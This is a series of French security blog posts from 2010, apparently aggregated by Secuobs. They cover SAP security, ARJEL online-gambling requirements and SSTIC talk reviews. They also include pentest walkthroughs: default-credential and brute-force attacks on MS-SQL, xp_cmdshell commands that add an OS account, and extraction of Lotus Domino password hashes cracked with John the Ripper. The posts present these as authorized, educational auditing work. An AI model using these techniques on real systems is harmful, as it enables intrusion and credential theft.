Webdispatcher Cette fois, nous nous attaquons à la couche applicative A l'instar du SAP Router, le Webdispatcher va fonctionner à partir d'une liste blanche mais concerne les URLs autorisées cette fois et non plus les IPs services Il existe un compte par défaut qu'il peut être intéressant de connaître icmadm Mais le mot de passe est généré aléatoirement On peut toujours essayer de trouver le mot de passe l'interface d'administration se trouve à l'adresse suivante http host port sap wdisp admin defaulthtml Le Webdispatcher peut avoir d'autres fonctions comme la répartition de charge load balancing et le chiffrement des communications de bout en bout ou non selon que l'on souhaite analyser les flux par exemple Pour terminer, voici un exemple de fichier de configuration on retrouve les P et D pour respectivement Permit et Deny P sap authorizedcgi D php D La sécurité de SAP en général Instances SAP Pour attaquer les instances SAP, nous aurons besoin de deux éléments l'ID de l'instance SAPID un compte login mot de passe Concernant le premier élément, il est généralement le même que l'instance de la base de données Si nous trouvions ce dernier, nous aurions de grandes chances d'avoir l'élément recherché Quant aux comptes, il en existe par défaut En effet, à part les 3 clients SAP créés par défaut, les autres qui seront générés auront pour couple login mot de passe SAP PASS Les autres composants L'architecture SAP dispose d'une base de données et d'un système d'exploitation au moins sur lequel repose la base de données Plusieurs solutions peuvent être mises en place Oracle, Informix par exemple côté base de données Linux et Windows côté OS Ces éléments clés au sein de l'architecture devront eux aussi être sécurisés Il y aurait beaucoup à dire et il ne s'agit pas d'éléments spécifiques à proprement parlé Nous ne détaillerons donc pas ces points mais il est important de noter qu'ils doivent être traités afin de ne pas constituer les maillons faibles de l'architecture mise en place Petite conclusion Nous avons commencer à aborder la sécurité de SAP tout en voyant des pistes potentielles d'attaques durant nos explications Pour faciliter la tâche d'un auditeur ou d'un attaquant , il existe des plateformes d'audit tels que BIZSPLOIT dont je ne manquerai pas de vous parler et SAPSPLOIT sur lequel je reviendrai aussi puisqu'une conf y sera dédiée http://www.secuobs.com/revue/news/236304.shtmlhttp://www.secuobs.com/revue/news/236304.shtml Secuobs.com : 2010-06-19 02:12:25 - MISSION Security - Depuis peu, les jeux de pari en ligne sont autorisés sur la toile en France, à l'exception des jeux de poker qui le seront très prochainement Un enjeux évident de sécurité entre en considération Quand on annonce 2 milliards de chiffre d'affaire sur ce marché, il y a de quoi attirer des joueurs honnêtes et d'autres moins honnêtes L'ARJEL, qu'est ce que c'est L'ARJEL, c'est l' Autorité de Régulation des Jeux En ligne Elle a pour rôle de s'assurer notamment que les jeux proposés en ligne se déroulent selon des règles bien précises en termes de législation outre les règles mêmes du jeu Cette autorité a largement considéré la sécurité dans son cahier des charges Un opérateur ne pourra légalement proposé ses jeux en ligne que si et seulement s'il est en accord avec ce cahier des charges Nous allons montrer quelques points de sécurité à respecter dans ce cadre de jeux en ligne L'ARJEL, concrètement, ça donne quoi Pour connaître exactement les exigences requises par l'autorité, le lecteur pourra se documenter en lisant le cahier des charges établi, téléchargeable ici S'il y a bien un principe à retenir, c'est la traçabilité En l'occurrence, les opérations de jeu doivent être tracées Il doit être possible de retrouver les actions d'un joueur à travers les logs Mieux, les traces doivent être archivés de manière sécurisées afin de s'assurer de l'intégrité des logs Plus précisément, les traces doivent être horodatées chaînées scéllées à la disposition de l'ARJEL Au total, les traces doivent être conservées pendant 5 ans Un deuxième principe à mettre en place est la confidentialité des données Pour cela, il est demandé à ce que les communications soient chiffrées De plus, les moyens cryptographiques mis en place doivent suivre les bonnes pratiques Notamment, le niveau de sécurité doit être suffisant pour les points suivants le générateur de nombres pseudo-aléatoires l'algorithme de hashage les algorithmes à base de clés symétriques ou asymétriques employés L'ARJEL tient compte aussi de l'architecture de la plateforme de jeux en ligne Tout d'abord, plusieurs composants sont définis un frontal en lien direct avec l'utilisateur , la plateforme de jeux partie applicative pure , la plateforme de l'ARJEL avec un lien entre l'opérateur et l'autorité cette dernière doit en effet pouvoir récupérer des données à tout moment à des fins de contrôle Ensuite, des équipements de sécurité sont attendus comme des équipements de filtrage Concernant les systèmes eux-mêmes, il est attendu qu'ils soient sécurisés mise à jour, pas de mot de passe par défaut, durcissement système, etc Concernant les contrôles justement, des audits périodiques et ou à la demande devront être réalisés Ces audits devront s'assurer de la sécurité du logiciel de jeu et du respect des règles L'audit technique sera étendu à l'audit de code pour vérifier en profondeur la sécurité du logiciel Le contrôle pourra être fait ponctuellement par l'ARJEL en accédant au coffre-fort de l'opérateur où seront archivés les traces des opérations de jeu L'autorité devra donc y avoir un accès Ensuite, des moyens de supervision doivent être mis en place Pour terminer, l'identité du joueur doit être considérée afin de pouvoir l'identifier justement et s'assurer qu'il n'est pas interdit de jeu Pour obtenir l'agrément, des critères rigoureux doivent être respectés tels que une certification CSPN ou mieux pour le coffre fort une authentification forte doit être nécessaire pour se connecter au coffre fort avec une gestion de droits d'accès selon 4 profils définis un reverse-proxy applicatif ou une solution similaire doit être déployée en frontal l'horloge utilisée doit être considérée comme fiable, c'est à dire à ou - 1 seconde de l'UTC une architecture en haute disponibilité doit être mis en place L'ARJEL va encore plus loin en termes de sécurité dans le sens où elle va au-delà de la sécurité technique D'une part, la sécurité organisationnelle est prise en compte avec par exemple la gestion des incidents le plan de sauvegarde l'organisation humaine, implémentation géographique, politique de sécurité, etc etc D'autre part, la sécurité physique contrôle d'accès physique gestion du personnel etc Pour conclure Il faut dire ce qui est, l'ARJEL a voulu faire les choses bien et les gens qui s'y sont penchés y connaissent vraiment quelque chose qui a dit que ce n'était pas toujours le cas Outre des exigences, elles sont réalistes Pour preuves, des pistes d'implémentation sont fournies ex process de traçabilité Aussi, l'autorité a tenu compte de a sécurité selon les différents axes techniques organisationnel et physique Le cahier des charges n'est pas encore terminé mais à ce jour, il fournit déjà toutes les chances que les jeux se déroulent avec les mêmes chances pour tous http://www.secuobs.com/revue/news/233045.shtmlhttp://www.secuobs.com/revue/news/233045.shtml Secuobs.com : 2010-06-15 01:45:00 - MISSION Security - Une troisième journée dans la continuité de la troisième avec notamment des conf Matinée Trusted Computing limitations actuelles et perspectives Euh ça avait l'air intéressant JBOSS AS Exploitation et sécurisation Voilà un sujet qui m'intéresse beaucoup pour plusieurs raisons ça parle de pentest et ça, je kiffe on rencontre souvent ce genre de plateforme durant les audits j'avais abordé ce sujet dans un MISC avec un collègue ravi de voir les nouveautés Après avoir rappelé les travaux déjà réalisés sur le sujet par la RedTeam notamment , l'orateur a abordé la sécurité des nouvelles versions, ie JBOSS 5 et 6 En résumé, c'est mieux mais il reste toujours des failles exploitables En effet, la sécurité n'est pas appliquée par défaut ou alors mal on se souvient de la sécurité des interfaces d'administration sur les requêtes GET et POST uniquement La sécurisation est possible mais malheureusement, rarement prise en compte dans les entreprises, en démontrent les cas rencontrés lors des audits Audit d'application NET complexes Nicolas Ruff Le retour de Nicolas Autant sa conf de l'année dernière avait pour but d'apporter une ouverture d'esprit sur la SSI en admettant ses échecs et d'aborder avant tout une reflexion, autant ici, c'est un sujet technique qui nous a été présenté La démonstration a été réalisée avec une aisance déconcertante Le code Net est passé au peigne fin et l'exemple d'une application Microsoft fait mouche on bypass le formulaire de licence d'un produit de karaoké Seul regret, nous n'avons pas eu l'occasion de découvrir les talents de chanteur de Nicolas MLState, langage OPA Mathieu Bodet Disons que cette conférence m'a permis de comparer mon N900 avec le futur iPhone 4 de mon voisin En fait, cette conférence aurait pu être bien car elle traitait d'un sujet que nous rencontrons chaque jour lors de nos audits la non sécurisation du code qui amène diverse injection Basée sur des langages sûrs eg OCaml , la solution présentée apporte certainement beaucoup par sa complexité et son niveau de technicité Pour avoir touché du doigt ce type de langage, je peux vous assurer que ce n'est pas simple Malheureusement, l'orientation de la présentation était mal choisie avec une présentation des attaques WEB en guise d'intro qui a duré 40 minutes Vraiment dommage mais je serai ravi de voir une présentation qui entre dans le vif du sujet dès les premières minutes et comprendre comment la solution permet de pallier aux lacunes de sécurité aux sein des codes et jusqu'à quel point Après-midi PoC k ET, les détails d'un rootkit pour Windows Mobile 6 Cédric Halbronn J'avais déjà vu cette conf lors du séminaire de l'ESEC et encore une fois, Cédric nous montre qu'il est possible de tout faire avec un Windows Mobile 6 pour l'utilisateur mais aussi pour un attaquant Pour avoir échangé pas mal avec le sujet avec Cédric, on se rend compte qu'on ne peut malheureusement pas faire grand chose OS multi utilisateur, manque de paramétrage sécurité nativement, facilité de contournement des protections, Problème, on se rend compte qu'une fois le rootkit installé via la mémoire, via le WAP Push , l'attaquant a notamment accès à toutes les données confidentielles contenues sur le smartphone Bon, bah ça, c'est fait Projet OsmocomBB Harald Welte La suite de la présentation du même orateur Projet OpenBSC Lors des deux conférences, on a le droit à du haut niveau On parle ici des réseaux GSM et de leur faiblesses sécurité C'est un gros travail qu'a réalisé Harald en décortiquant les spécifications des réseaux GSMs il nous fait alors un état de l'art de ces réseaux Mais plus que la théorie, on a le droit aussi à la pratique En créant son propre réseau, Harald maîtrise le sujet et à travers sa maquette montre les possibilités en termes d'attaque Et on ne voit qu'une chose rien n'arrête notre orateur L'ANSSI Patrick Pailloux Le directeur de l'agence nationale de la sécurité anciennement DCSSI nous décrit l'agence et ses travaux En plus des audits pour les différentes administrations, l'agence traite de sujets très intéressants et concrets tels que la sécurité des bracelets électroniques pour prisonniers, la sécurité des systèmes de votes électroniques, etc Clairement, ici aussi, ça recrute Alors on note une petite concurrence DGSE ANSSI mais tout à fait cordiale Voilà, c'est la fin de l'édition du SSTIC Cette année, j'ai apporté mes commentaires trop en retard mais va falloir faire mieux la prochaine fois J'aurais la chance de participer au HITB au début du mois prochain j'essaierai de vous donner un retour au plus vite pour me rattraper http://www.secuobs.com/revue/news/231483.shtmlhttp://www.secuobs.com/revue/news/231483.shtml Secuobs.com : 2010-06-15 00:32:09 - MISSION Security - Une deuxième journée plus intéressante selon moi Matinée Sécurité de la plateforme d'exécution JAVA Limites et propositions d'amélioration Après une brève présentation du fonctionnement particulier de JAVA, les orateurs nous ont montré les limites de ce langage Pourtant, ce dernier bénéficie de mécanismes de sécurité et c'est loin d'être le cas de tous les langages En l'occurrence, des contrôles sont réalisés à trois niveaux à la compilation au chargement de la classe à l'exécution pour les instructions dangereuses Malheureusement, des faiblesses sont bien connues à propos de ce langage D'ailleurs, le dossier du MISC n 45 était consacré à ce sujet En particulier, les vulnérabilités sont dues à une mauvaise utilisation des mécanismes de sécurité quand ils sont employés , le niveau de privilège des bibliothèques standards et l'éternel soucis de performance au détriment de la sécurité Pour résumer les solutions proposés, nous pouvons citer la formulation d'un guide de développement et de configuration des paramètres un audit du code pour les fonctions sensibles l'application des bonnes pratiques comme limiter le nombre de bibliothèques utilisées augmenter la confiance dans la JVM et profiter de ses possibilités Analyse de l'efficacité du service fourni par une IOMMU Un bon topo sur les protections et les limitations d'une IOMMU Une démonstration qui a bien marché Bref, intéressant En résumé, un tel système de protection permet de contrôler les accès aux périphériques et à la mémoire Cependant, des faiblesses sont notés concernant les périphériques PCI tiens tiens, nous n'en n'aurions pas parlé avant de ça Une piste qui a été exploitée ici aussi en montrant l'interception de flux ici du flux vidéo entre deux machines Quelques éléments en matière de sécurité des cartes réseaux Loïc Duflot Alors là, on s'attaque à du lourd Quand on parle de mener nos célèbres attaques MITM sur la toile directement, on ne rigole plus Vous avez rêvé de contrôler le réseau via la carte réseau donc de quiconque sur Internet ils l'ont fait Bon, j'exagère un tout petit peu et il s'agissait d'un POC mais qui semble bien marché et qui pourrait faire très mal si ces connaissances étaient entre les mains d'attaquants Pire, ce dernier a tout le temps d'agir vu les temps extrêmement lents pour la correction d'un firmware dur ce type de matériel Après-midi La sécurité des systèmes de vote Frédéric Connes Il s'agissait ici surtout d'une proposition d'une réflexion, d'un protocole pour la sécurisation des systèmes de vote électronique C'est un sujet qui fait débat car il est difficile d'apporter un niveau de sécurité fort sur ce sujet alors que l'enjeu est très important Et qui plus est, certains états aux USA en ont de mauvais souvenirs Dans le même temps, les Français prennent de moins en moins la peine d'aller voter il suffit de regarder les taux d'abstention pour s'en rendre compte de suite et il s'agit d'une solution qui en soit pourrait apporter une solution sur le plan pratique en tout cas car sur le plan de la SSI, cela soulève de nouveaux problèmes Applications Facebook Quels risques pour l'entreprise Une présentation intéressante dans le sens où l'expérience a été bien mené Maintenant, pourquoi parler de l'entreprise alors que ce genre d'application ne devrait certainement pas être autorisé au bureau Il existe certainement des réseaux sociaux plus appropriés Et finalement, je dirai que les utilisateurs chez eux sont certainement plus impactés Pour en revenir à la présentation elle-même, les deux orateurs ont voulu faire une démonstration d'une application malicieuse et ils l'ont fait sérieusement Après avoir récolté un maximum de membres via une application dont le rôle était de savoir qui nous a supprimé de ses contacts, ils nous ont montré que de multiples informations personnelles ont pu être obtenues Ils ont aussi montré au passage quelques faiblesses sur le cloisonnement apporté par les applications De plus, je pense que les idées qui permettraient de piéger un grand nombre d'utilisateurs sont certainement nombreuses il suffit de voir les communautés déjà existantes qui ne se préoccupe pas de l'orthographe d'ailleurs et qui suscitent souvent la curiosité des utilisateurs Projet OpenBSC Harald Welte Je reprendrai cette très bonne présentation dans le billet suivant où un sujet similaire a été traité Les rumps sessions Alors pas de rumps fun cette année il faut dire que nous étions bien servis l'année dernière, notamment avec l'alcootest relié au PAM mais plusieurs rumps sur les pentests mon sujet de prédilection comme le pentests d'un blackBerry Server, le case study d'un pentest d'une société X ou Y , l'exploitation d'Oracle, etc Bref, frustrant de voir ces sujets abordés en 5 minutes seulement http://www.secuobs.com/revue/news/231461.shtmlhttp://www.secuobs.com/revue/news/231461.shtml Secuobs.com : 2010-06-10 02:11:57 - MISSION Security - Une nouvelle éditions, de nouvelles conférences et des choses nouvelles ou pas Matinée Systèmes d'information les enjeux et les défis pour le renseignement d'origine technique Bernard BARBIER DGSE Nous pouvons dire que cette édition commence de manière plutôt originale une présentation de la DGSE qui a dit un entretien de recrutement Sérieusement, passionné par ce milieu, j'ai écouté attentivement ce keynote La présentation a permis notamment de démystifier ce milieu et de montrer ce qui se passe dans la vraie vie Bon, je connaissais un peu pour connaître une certaine personne mais chuuuuuuut on nous écoute peut être Globalement, on apprend les différentes briques du renseignement en France, l'organisation du renseignement qui est fondé sur le triptyque voir - sentir - écouter On ne nous annonce pas que la France est la meilleure dans le domaine je tiens à le dire car j'en ai vu des conférenciers chauvins mais on apprend qu'on s'en sort pas mal et surtout que les menaces sont connues, priotisées et manque juste les moyens Notre pays a pour but de recruter dans ce sens et améliorer encore ses services de renseignements Les déclarations sur la LIO ou Lutte Informatique Offensive font leur effet et on le verra lors de conférences qui suivront Cependant, Bernard BARBIER, notre orateur, estime qu'il faut avant tout savoir se défendre c'est pas faux Tatouage des données d'imagerie médicales Gouenou COATRIEUX Quand j'ai lu le titre de la conf, je me suis dit encore du watermarking mais qu'est ce qu'on va apprendre En effet, nous avions déjà eu une conférence à ce sujet l'année dernière et elle était, à mon goût, très bien faite alors qu'est ce que cette conférence pouvait apporter de plus En réalité, un angle tout à fait différent a été abordé ici puisqu'il s'agissait de traiter le sujet dans une tout autre domaine que le média le domaine médicale et aussi, de prendre en compte de nouvelles contraintes Donc finalement, cette conférence avait bel et bien un intérêt mais nous restons cloisonné à un milieu particulier qu'est la médecine et il est rare que nous ayons à travailler dans ce domaine mais c'est peut être ça le problème Un ver du nom de confiker dans les scanners médicaux, ça ne vous rappelle rien On n'en parlait justement ce soir devant un verre et oui j'ai pris un coca et j'assume même publiquement C'est donc au sens large qu'il faudrait s'intéresser à la sécurité dans le milieu de la médecine Visualisation et analyse de risque dynamique pour la cyber-défense Philippe LAGADEC Les termes clé de cette présentation sont la défense dynamique Plus précisément, il s'agit de répondre aux attaques menées sur un SI en direct Pour cela, quatre principes sont pris en considération Observe Orient Decide Act Pour observer, nous savons faire et ce ne sont pas les moyens qui manquent Et justement En effet, de nombreux équipements et devices en général nous remontent des logs Mieux, il existe des aggrégateurs de logs Encore mieux, des corrélateurs de logs que nous appelons SIM Security Information Management Cependant, les outils du marché ne sont pas satisfaisant ou en tout cas, pas toujours Petit souvenir je vous parlais de l'outil OSSIM il y a un bon moment déjà et il fait partie de la famille des SIMs Le défi de l'outil présenté était de rendre l'exploitation de logs la plus simple possible et surtout utile Et ce, afin de prendre les bonnes décisions et d'agir en conséquence pour se défendre et voilà, la boucle est bouclée Et l'outil y parvient dans le sens où il permet d'avoir in fine une cartographie des machines exposées graphiquement et dans une interface qui semble ergonomique Pour obtenir de tels résultats, il est possible de customiser l'outil en attribuant des valeurs aux assets et la criticité en sera ainsi mieux évaluée En réalité, OSSIM faisait déjà pas mal de choses Je passerais sur les défauts de ce dernier mais il apportait déjà pas mal d'éléments pour la customisation et la cartographie par subnet en moins convivial et ergonomique bien sûr Alors cette présentation nous a montré une solution qui permettra aux décisionnaires d'avoir de l'information utile et pas seulement du bruit car ne l'oublions pas, trop d'information tue l'information Quand il s'agit de traiter des événements, les solutions finissent régulièrement dans un placard car trop complexe Néanmoins, une petite déception qu'il n'y ait pas eu plus d'avancée dans ce domaine depuis tout ce temps Ou alors les améliorations se situe sur des aspects plus techniques qui n'ont pas été abordés CASTAFIOR Détection automatique de tunnels illégitimes par analyse statistique Fabien ALLARD et Mathieu MOREL Voilà un sujet nouveau et intéressant Nous restons dans la défense de l'information pour protéger son SI Il s'agit ici de repérer les flux illégitimes qui y transitent plus précisément, il ne s'agit pas d'une solution de prévention car les flux illégitimes sont repérés une fois qu'ils ont été transmis Mais la solution CASTAFIOR qui permet de faire ça a pour objectif de les localiser et de pouvoir entreprendre des actions de forensics afin de trouver notamment les auteurs de ces flux illégitimes Et comment fait-on Afin de classifier les flux selon leur protocole, plusieurs paramètres sont pris en compte et leur agrégation permet de se faire une idée relativement précise de sa nature A titre d'exemple, les paramètres en question pourront être la durée d'un flux ou le nombre de paquets échangés entre le client et le serveur ou le temps de latence entre chaque échange, etc Les données sont récupérées tout simplement via TCPDUMP pour analyse Une fois l'analyse réalisée et le flux classifié, il pourra être traité en conséquence Une interface graphique a été implémentée dans la solution CASTAFIOR afin de gérer les flux considérés comme illégitimes En combinant deux méthodes d'analyse que sont RandomForest et BHM, des résultats tout à fait satisfaisant ont pu être obtenus Bien sûr, des améliorations sont toujours possibles mais dans le domaine, il existe peu d'équivalent et ce type de solution pourrait servir dans ces nombreuses entreprises qui a dit toutes ou presque où les utilisateurs cherchent à contourner les protections réseau qui sont pourtant si difficiles et parfois lourdes à mettre en place http://www.secuobs.com/revue/news/230249.shtmlhttp://www.secuobs.com/revue/news/230249.shtml Secuobs.com : 2010-04-15 00:50:07 - MISSION Security - Tout bon test d'intrusion devrait commencer par une phase de découverte Les tests se déroulent sur des durées très courtes en général, quelques jours et le seul moyen de s'imprégner de la cible, c'est d'apprendre à la connaître Mais voilà, où aller dans le temps imparti Il y a certainement des choses à automatiser Pourquoi ce post Une phase de découverte est une étape que l'on réalisera systématiquement Et il y a des tests récurrents et avouons-le, autant cette phase de découverte est importante, autant on a qu'une hâte pendant un TI comme disent les habitués, c'est de passer à l'attaque Alors je propose ici de donner les pistes pour se constituer un script dédié à la phase de découverte Dans le même temps, on donne en fait une synthèse des outils de découverte qui nous sont bien utiles tous les jours NB En fait, il existe certainement déjà des outils qui font ça Cependant, je vous propose ici ma version selon mon retour d'expérience Et ce post est particulier dans le sens où il est ouvert vos avis sont les bienvenus comme toujours d'ailleurs tant qu'ils sont constructifs Y a quoi au programme 1 Que se passe-t-il en couche 3 On commence ici par analyser les requêtes ICMP Qu'est ce qui est autorisé ou non Du ping aux requêtes TSTAMP en passant par le traceroute ICMP, un bon filtrage de la cible est requis sinon, nous serons en mesure de cartographier la cible Rien de compliqué ici puisque les outils en question sont bien connus Ping, Traceroute, Sing, etc mais utilisons nous bien les options de ces outils 2 Qui est notre cible Internet recèle souvent des informations très intéressantes sur notre cible En vrac, nous pouvons citer les requêtes de type WHOIS ex Dmitry les scripts permettant de rechercher des noms emails d'employés tels que theHarvester les scripts permettant de récupérer les documents malencontreusement égarés sur le Net tels que metagoofil A compléter avec les recherches Google je vous renvoie vers le site de référence à ce sujet, le site de Johnny LONG 3 Les requêtes DNS Très importantes pour trouver de nouvelles machines ou pour mener certaines attaques, ces requêtes devraient être prise en compte Les outils ne manquent pas, voici ma sélection dnsenum perl dnsenumpl --enum -f dnstxt cible fierce perl fiercepl -dns cible 4 On passe aux requêtes UDP et TCP On ne peut pas passer à côté de celui là, je parle du scan de port Pour le coup, il existe des tonnes d'outils mais si nous ne devons en citer qu'un seul, c'est bien NMAP et NASL pour faire plaisir à l'agent M En plus de réaliser un scan TCP et un scan UDP que nous utiliserons avec l'option -oG pour approfondir avec l'outil AMAP Nous n'oublions pas HTTPRINT pour les services WEB Pour compléter, nous pouvons aussi utiliser SinFP qui approche une démarche différente pour fournir des résultats supplémentaires 5 Tests sur l'architecture Les premiers tests permettent de déterminer différents équipements déjà les routeurs ex avec Traceroute les pare-feux filtrage ICMP UDP TCP les serveurs DNS requêtes DNS paramètre NS les serveurs de messagerie requêtes DNS paramètre MX présence d'autres machines e g requêtes DNS découverte des services présents e g scan TCP et UDP etc A cela, nous pouvons ajouter la découverte d'autres équipements comme les load-balancers ex avec le script lbdsh 6 Tests WEB De nouveau, voici une petite sélection pour mieux comprendre l'application WEB Trouver de nouveaux répertoires et nouvelles pages ex list-urlspy Vérifier la sécurité des communications SSL si implémenté e g commandes openssl Vérifier les méthodes autorisées ex metoscan Etc Nous pouvons compléter avec des classiques comme Nikto mais personnellement, je préfère Wikto qui permet de faire pas mal de choses Bon, il est un peu violent quand même Voilà un ensemble de tests qui devraient nous permettre de récupérer pas mal d'information sur notre cible Après, comme toujours, il faut savoir s'adapter Je crois que nous sommes prêts pour passer aux choses sérieuses Have fun http://www.secuobs.com/revue/news/212281.shtmlhttp://www.secuobs.com/revue/news/212281.shtml Secuobs.com : 2010-03-31 18:51:17 - MISSION Security - Après notre aventure théorique sur l'OWASP, je reviens sur le blog pour un post technique Et pour ce comeback , je vous propose dans un premier temps de nous attaquer à un élément du SI très sensible les bases de données En effet, c'est ici que nous trouverons souvent les données les plus confidentielles Plus précisément, nous allons prendre pour exemple les bases de type MS-SQL 1 - Mission MS-SQL Le post présente une technique qui n'est pas supposée être la meilleure, ni être exhaustive Le but ici est de voir une façon de faire Au risque de me répéter, mais c'est très important, ce qui est présenté ci-dessous ne peut être réalisé qu'au sein de son propre réseau ou dans un cadre légal avec autorisation de la compagnie auditée Avant d'entrer dans le sujet, il faut savoir que ce type de tests est plus approprié aux tests d'intrusion internes Si jamais une telle base était accessible depuis Internet, je vous laisse imaginer la criticité du problème Pour terminer, le client OSQL, utilisé dans la suite, est fourni gratuitement sur le site de Microsoft dans le package MSDE La connexion vers la serveur se fait ainsi osqlexe S ip_serveurnom_serveur U nom_utilisateur P mot_de_passe 2 - Repérage de notre cible 21 Trouver les serveurs MS-SQL Par défaut, les bases MS-SQL utilisent les ports TCP 1433 UDP 1434 NMAP peut donc nous permettre de trouver les serveurs MS-SQL présents sur le réseau audité par exemple, sur le réseau 17216XXXXXX nmap -v -sV -sS -p 1433 -oN NMAP_MS-SQLtxt 1721600 16 Ou mieux nmap -sV -sS -p 1433 1721600 16 grep open -B 3 nmap_mssql_listtxt Cette méthode simple est tout de même limitée car si l'administrateur n'utilise pas le port par défaut, nous passons à côté de notre cible 22 Prise d'information sur les serveurs MS-SQL Il existe plusieurs outils pour obtenir des informations sur les serveurs MS-SQL audités Nous montrons ici l'exemple de SQLRecon Le but est de connaître les numéros de version notamment pour éventuellement jouer un exploit si le serveur de base de données n'est pas maintenu à jour 3 - Compromission de la cible 31 Juste une question de compte Une base de données MS-SQL a un compte administrateur appelé par défaut sa Ce compte doit donc être protégé spécifiquement Cependant, il arrive qu'il soit configuré avec le mot de passe vide ou sa Les credentials par défaut peuvent donc très simplement fournir un accès total à la base de données Si les comptes par défaut ne donnent pas de résultats positifs, nous pouvons tenter une attaque par dictionnaire Pour cela, il existe l'outil SQLPing3cl Nous avons auparavant rempli le fichier usertxt avec les noms de compte possible ex sa rempli le fichier passtxt avec la liste de mots de passe sinon, il existe des tonnes de fichiers préconçus sur le Net contenant les mots du dictionnaire Un de nos serveurs a le mot de passe sa extrait de l'output 172XXXXXXXXX,1433,NOM_Serveur,MSSQLSERVER,800194,80766,800760,,No, UDP ServerName NOM_Serveur InstanceName MSSQLSERVER IsClustered No Version 800194 tcp 1433 np Nom_Serveur pipe sql query SA Server present but blank SA login failed BruteForce Brute force attempt successful User sa Pass sa ,UDP TCP SA BruteForce 32 Regarder les vulnérabilités Si malgré tous vos efforts vous n'obtenez pas le mot de passe du compte sa, il faut se retourner vers un site de veille sécurité pour trouver une faille exploitable selon la version trouvée cf point 22 4 - Système touché Il faut savoir qu'une base de données tourne par défaut avec les droits Local System Alors imaginez que la base de données est compromise et que vous puissiez exécuter des commandes arbitraires ce serait avec les droits NT AUTHORITY SYSTEM Or, par défaut, MS-SQL bénéficie de ce qu'on appelle des procédures stockées Ces dernières permettent d'augmenter significativement la puissance d'une base de données En effet, cela permet de nombreuses actions prédéfinies très utiles pour l'administrateur ou pour l'attaquant La procédure qui nous intéresse ici est xp_cmdshell 41 Activer une procédure stockée Il est possible que la procédure que nous souhaitons - xp_cmdshell - ne soit pas activée Pour le savoir, tenter une connexion vers la base et essayer de lancer la procédure stockée de la manière suivante xp_cmdshell 'ipconfig' go Si vous n'avez pas d'erreur, comme sur l'image suivante, passez tout de suite à l'étape 42 Sinon, suivez les instructions ci-dessous permettent l'activation de la procédure 42 Lancement de commandes Nous allons poursuivre notre attaque en créant un compte sur le système hôte xp_cmdshell 'net user jer001 M1ssion_pass add' go Nous vérifions avec les commandes suivantes xp_cmdshell 'net user' go Notre compte est ajouté 5 - Aller plus loin Arrivé à ce stade, nous avons été suffisamment loin dans la compromission du serveur Cependant, il est nécessaire d'être exhaustif dans le cadre d'un pentest Un serveur qui a pu être compromis de la sorte n'a pas bénéficié du hardening adéquat et par conséquent, souffre certainement de nombreuses vulnérabilités Cela peut se vérifier par des tests complémentaires Notamment, nous pouvons nous aider du script SQL SQLVulscan Voici une liste non exhaustive de vulnérabilités qu'il permet de trouver Privilège du compte de service Méthode d'authentification Liste des procédure stockées Présence des bases de données par défaut Présence des accès invité Présence de comptes sans mot de passe etc Pour le lancer, utiliser la commande suivante c osqlexe S 192168012 U sa P BDD_PASS i SQLvulscansql Et comme toujours, have fun http://www.secuobs.com/revue/news/207458.shtmlhttp://www.secuobs.com/revue/news/207458.shtml Secuobs.com : 2010-03-31 18:51:17 - MISSION Security - Nous continuons sur les posts techniques en nous attaquant cette fois à un autre type de serveur le serveur de messagerie Et plus exactement, l'attaque portera sur un serveur LOTUS Nous verrons que l'attaquant peut encore une fois frapper très fort par cette voie 1 - Briefing Lotus Le post est à but purement éducatif et ne devra en aucun cas être testé sur un réseau qui ne vous appartient pas, en tout cas, sans autorisation Il s'agit ici de donner une démonstration tiré d'un article paru dans le HS n 1 de MISC Se référer à celui-ci pour plus d'information Nous agissons ici de l'extérieur puisque nous nous focalisons sur la partie webmail de la messagerie 2 - Repérage de la cible Trouver la messagerie de la compagnie auditée n'est pas difficile Il y a la méthode que j'appelerai intuitive qui consiste à deviner le nom Par exemple mailcompagnycom, webmailcompagnycom, mxcompagnycom, etc Et il y a la méthode plus intelligente Il suffit d'exécuter une requête DNS sur le champ MX dig MX compagnycom Notre cible utilise du Lotus Alors à l'attaque 3 - Des informations bien utiles 31 Récupération d'informations intéressantes Nous allons regarder dans une premier temps si nous avons accès aux fiches des utilisateurs Pour cela, essayer d'ouvrir le fichier namesnsf Par exemple, à l'adresse http mailcompagnycom namesnsf Vous devriez avoir les listes des utilisateurs Cliquer sur ceux qui ont un icône terre et qui ont donc un accès webmail Vous devriez trouver facilement le login ça commence plutôt pas mal, non 32 Récupération des comptes adminitrateur Obtenir le compte d'un adminitrateur nous permettrait une compromission encore plus importante dans le sens où cela nous permettrait d'obtenir des accès sur le système hôte Comment connaître l'identité de l'administrateur de la messagerie Deux manière au moins Regarder les mailing-lists L'une d'elles pourraient s'appeler mail_adminitrator ou quelque chose du genre Sinon, toutes les listes d'administration pourrait être intéressante pour connaître les utilisateurs-clé Regarder la configuration du serveur Lotus si celle-ci est accessible en lecture au moins Le ou les nom s des adminitrateurs de la messagerie devraient vous être fournis sur un plateau 33 Récupération des hashes Et c'est à partir de maintenant que ça fait peur Mal configuré - comme souvent - il est possible de connaitre le hash du mot de passe des utilisateurs depuis Internet ça ne peut pas être si simple me direz-vous En effet, c'est encore plus simple que ce que vous pouvez penser Sélectionner la fiche de votre utilisateur cible Faire un clic droit sur sa fiche et choisir Ce cadre puis Code source de ce cadre éventuellement en anglais Dans le code source, faire une recherche sur la chaîne HTTPPassword Récupérer la valeur dans le champ value sans les guillemets mais avec les parenthèses C'est tout Il existe deux formats de hash que nous pouvons récupérer éventuellement sur le même serveur le format plus ancien le format plus récent basé sur du MD5 sel 4 - Juste une histoire de mot de passe Nous avons donc obtenu un hash et en bon agent que vous êtes, ce n'est certainement pas la première fois que vous avez un hash à déchiffrer Ici, notre arme de choix est le célèbre casseur de mot de passe, nommé John John the Ripper 1 Néanmoins, nous aurons besoin d'utiliser une version avec les patches qui vont bien Perso, j'utilise john-banquise 2 qui contient les patches pour Domino dont nous avons besoin Ensuite, nous avons besoin de lancer John avec le format approprié pour les hashes de format ancien john --wordlist dictionarytxt --rules --format lotus5 liste_hashestxt pour les hashes de format récent john --wordlist dictionarytxt --rules --format DOMINOSEC liste_hashestxt Le fichier liste_hashestxt doit être de la forme suivante prenom1Nom1 hash1 prenom2Nom2 hash2 prenom3Nom3 hash3 5 - Conclusion Nous avons vu comment avoir accès à la messagerie d'un utilisateur sans difficulté particulière sauf si le mot de passe était complexe Cependant, nous n'avons pas tout vu En externe, il faut savoir qu'une fois le compte adminitrateur de la messagerie en notre possession, il est possible d'exécuter des commandes arbitraires sur le système hôte En interne, d'autres attaques, différentes, peuvent être jouées Notamment, elles tournent 